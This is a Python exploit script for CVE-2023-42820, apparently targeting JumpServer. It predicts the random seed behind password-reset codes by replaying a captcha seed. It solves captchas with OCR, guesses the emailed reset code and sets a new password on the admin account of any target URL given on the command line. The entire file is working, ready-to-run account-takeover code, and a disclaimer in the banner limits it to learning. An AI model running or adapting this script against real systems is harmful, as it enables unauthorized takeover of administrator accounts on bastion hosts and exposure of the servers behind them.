# -*- coding: utf-8 -*- import argparse import io import random import re import string import sys import time from urllib.parse import urljoin, urlparse, parse_qs import ddddocr import httpx from bs4 import BeautifulSoup from PIL import Image from loguru import logger # Init logger logger.remove() logger.add( sys.stdout, format='{time:YYYY-MM-DD HH:mm:ss} - {level}\t- {message}', ) # CVE-2023-42820 DEFAULT_HEADERS = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36', } DEFAULT_PROXY = {} DEFAULT_USERNAME = 'admin' DEFAULT_EMAIL = 'admin@mycomany.com' def banner(): print(''' ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ █████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ██║ ██║╚════██╗██╔══██╗╚════██╗██╔═████╗ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝ █████╔╝██║██╔██║ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗██╔═══╝ ████╔╝██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██║███████╗╚█████╔╝███████╗╚██████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝ ╚════╝ ╚══════╝ ╚═════╝ @Auth: C1ph3rX13 @Blog: https://c1ph3rx13.github.io @Note: 代码仅供学习使用,请勿用于其他用途 ''') def client_init(): client = httpx.Client( headers=DEFAULT_HEADERS, verify=False, proxies=DEFAULT_PROXY, follow_redirects=True, timeout=10, ) return client def random_string(length: int, lower=True, upper=True, digit=True, special_char=False): args_names = ['lower', 'upper', 'digit', 'special_char'] args_values = [lower, upper, digit, special_char] args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, '!#$%&()*+,-.:;<=>?@[]^_~'] args_string_map = dict(zip(args_names, args_string)) kwargs = dict(zip(args_names, args_values)) kwargs_keys = list(kwargs.keys()) kwargs_values = list(kwargs.values()) args_true_count = len([i for i in kwargs_values if i]) assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`' assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}' can_startswith_special_char = args_true_count == 1 and special_char chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v]) while True: password = list(random.choice(chars) for _ in range(length)) for k, v in kwargs.items(): if v and not (set(password) & set(args_string_map[k])): break else: if not can_startswith_special_char and password[0] in args_string_map['special_char']: continue else: break password = ''.join(password) return password def generate_password(): punctuation = ["_", "@"] sys_rand = random.SystemRandom() special_passwd = [sys_rand.choice(punctuation)] lower_passwd = [sys_rand.choice(string.ascii_lowercase) for _ in range(4)] upper_passwd = [sys_rand.choice(string.ascii_uppercase) for _ in range(4)] digit_passwd = [sys_rand.choice(string.digits) for _ in range(3)] passwd_list = lower_passwd + special_passwd + upper_passwd + digit_passwd random.shuffle(passwd_list) return ''.join(passwd_list) class SeedVuln: def __init__(self, target: str, client: httpx.Client, **kwargs): self.seed = None self.captcha_seed = None self.captcha = None self.reset_token = None self.target = target self.client = client self.username = DEFAULT_USERNAME self.email = DEFAULT_EMAIL if kwargs: self.username = kwargs.get('username') self.email = kwargs.get('email') logger.warning(f'Using account: {self.username} / {self.email}') else: logger.warning(f'Using default account: {self.username} / {self.email}') def _get_csrftoken(self, csrf_text: str): try: soup = BeautifulSoup(csrf_text, "lxml") csrfmiddlewaretoken = soup.find('input', {'name': 'csrfmiddlewaretoken'}).get('value') logger.success(f'csrfmiddlewaretoken: {csrfmiddlewaretoken}') return csrfmiddlewaretoken except Exception as error: logger.exception(f'failed to get csrftoken from {self.target}: {error}') sys.exit('Get csrfmiddlewaretoken failed') def _get_seed(self): seed_url = urljoin(self.target, "/core/auth/password/forget/previewing/") try: seed_resp = self.client.get(url=seed_url) soup = BeautifulSoup(seed_resp.text, "lxml") seed = soup.select_one('.captcha').get('src').split('/')[-2] logger.success(f'Seed: {seed}') return seed except Exception as error: logger.exception(f'Get seed from {self.target}: {error}') sys.exit('Get seed failed') def _fix_seed(self): logger.info(f'Sending request to fix seed: {self.seed}') def _request(u: str): seed_resp = self.client.get(url=u) assert seed_resp.status_code == httpx.codes.OK assert seed_resp.headers['Content-Type'] == 'image/png' fix_url = urljoin(self.target, '/core/auth/captcha/image/' + self.seed + '/') for idx in range(30): _request(fix_url) def _nop_random(self): random.seed(self.seed) for i in range(4): random.randrange(-35, 35) for p in range(int(180 * 38 * 0.1)): random.randint(0, 180) random.randint(0, 38) def _calculate_captcha(self): try: self.captcha_seed = self._get_seed() image_url = urljoin(self.target, 'core/auth/captcha/image/' + self.captcha_seed + '/') image_resp = self.client.get(url=image_url) img_bytes = Image.open(io.BytesIO(image_resp.content)) # 图片识别 ocr = ddddocr.DdddOcr() res_code = ocr.classification(img_bytes) # 计算验证码结果 if len(res_code) >= 3: operator = re.findall(r"[+\-*/x]", res_code)[0] operands = re.findall(r"\d+", res_code) a, b = map(int, operands) if '+' or 'x' in operator: self.captcha = a + b if '-' in operator: self.captcha = a - b if '*' in operator: self.captcha = a * b if '/' in operator: self.captcha = a / b logger.success(f'Calculation result:{self.captcha}') except Exception as error: logger.error(error) def _get_reset_token(self): while self.reset_token is None or self.reset_token == "": self._calculate_captcha() url = urljoin(self.target, '/core/auth/password/forget/previewing/') reset_csrf = self.client.get(url=url) assert reset_csrf.status_code == httpx.codes.OK reset_csrftoken = self._get_csrftoken(reset_csrf.text) data = { 'csrfmiddlewaretoken': reset_csrftoken, 'username': self.username, 'captcha_0': self.captcha_seed, 'captcha_1': self.captcha, } token_resp = self.client.post(url=url, data=data) assert token_resp.status_code == httpx.codes.OK parsed_url = urlparse(str(token_resp.url)) query_dict = parse_qs(parsed_url.query) reset_token = query_dict.get('token', [''])[0] self.reset_token = reset_token logger.success(f'Get reset token: {self.reset_token}') def _send_code(self): url = urljoin(self.target, '/api/v1/authentication/password/reset-code/?token=' + self.reset_token) data = { 'email': self.email, 'sms': '', 'form_type': 'email', } time.sleep(10) response = self.client.post(url=url, json=data, follow_redirects=False) if response.status_code == httpx.codes.OK: logger.success(f'Send code : {response.status_code}') def reset_passwd(self, code: str): forgot_url = urljoin(self.target, '/core/auth/password/forgot/?token=' + self.reset_token) forgot_csrf = self.client.get(url=forgot_url) assert forgot_csrf.status_code == httpx.codes.OK forgot_csrftoken = self._get_csrftoken(forgot_csrf.text) forgot_date = { 'csrfmiddlewaretoken': forgot_csrftoken, 'email': self.email, 'form_type': 'email', 'sms': '', 'code': code } forgot_resp = self.client.post(url=forgot_url, data=forgot_date) reset_url = forgot_resp.url reset_csrf = self.client.get(url=reset_url) assert reset_csrf.status_code == httpx.codes.OK reset_csrftoken = self._get_csrftoken(reset_csrf.text) new_passwd = generate_password() data = { 'csrfmiddlewaretoken': reset_csrftoken, 'new_password': new_passwd, 'confirm_password': new_passwd } passwd_resp = self.client.post(reset_url, data=data, follow_redirects=False) if passwd_resp.status_code != 302: logger.warning(f'Reset password failed') sys.exit() logger.critical(f'Reset Password: {new_passwd}') def exp(self): # 获取并保留 验证码1 seed self.seed = self._get_seed() # 获取 验证码2 seed、csrftoken、计算的验证码结果: POST成功后得到 reset_token self._get_reset_token() # 批量重放 验证码1 seed self._fix_seed() self._nop_random() # 给重置密码的接口发送带有 reset_token 的请求 self._send_code() # 计算验证码 code = random_string(6, lower=False, upper=False) # 更改随机密码 self.reset_passwd(code) if __name__ == '__main__': banner() parser = argparse.ArgumentParser(description='CVE-2023-42820 by C1ph3rX13.') parser.add_argument('-t', '--target', type=str, required=True, help='Target Url') parser.add_argument('-e', '--email', type=str, required=False, help='Account Email') parser.add_argument('-u', '--username', type=str, required=False, help='Account Username') parser.add_argument('-p', '--proxy', type=str, required=False, help="Proxy Url") args = parser.parse_args() if args.proxy: DEFAULT_PROXY = {'all://': f'{args.proxy}'} c = client_init() if args.username is not None or args.email is not None: cve = SeedVuln(args.target, c, username=args.username, email=args.email) else: cve = SeedVuln(args.target, c) cve.exp()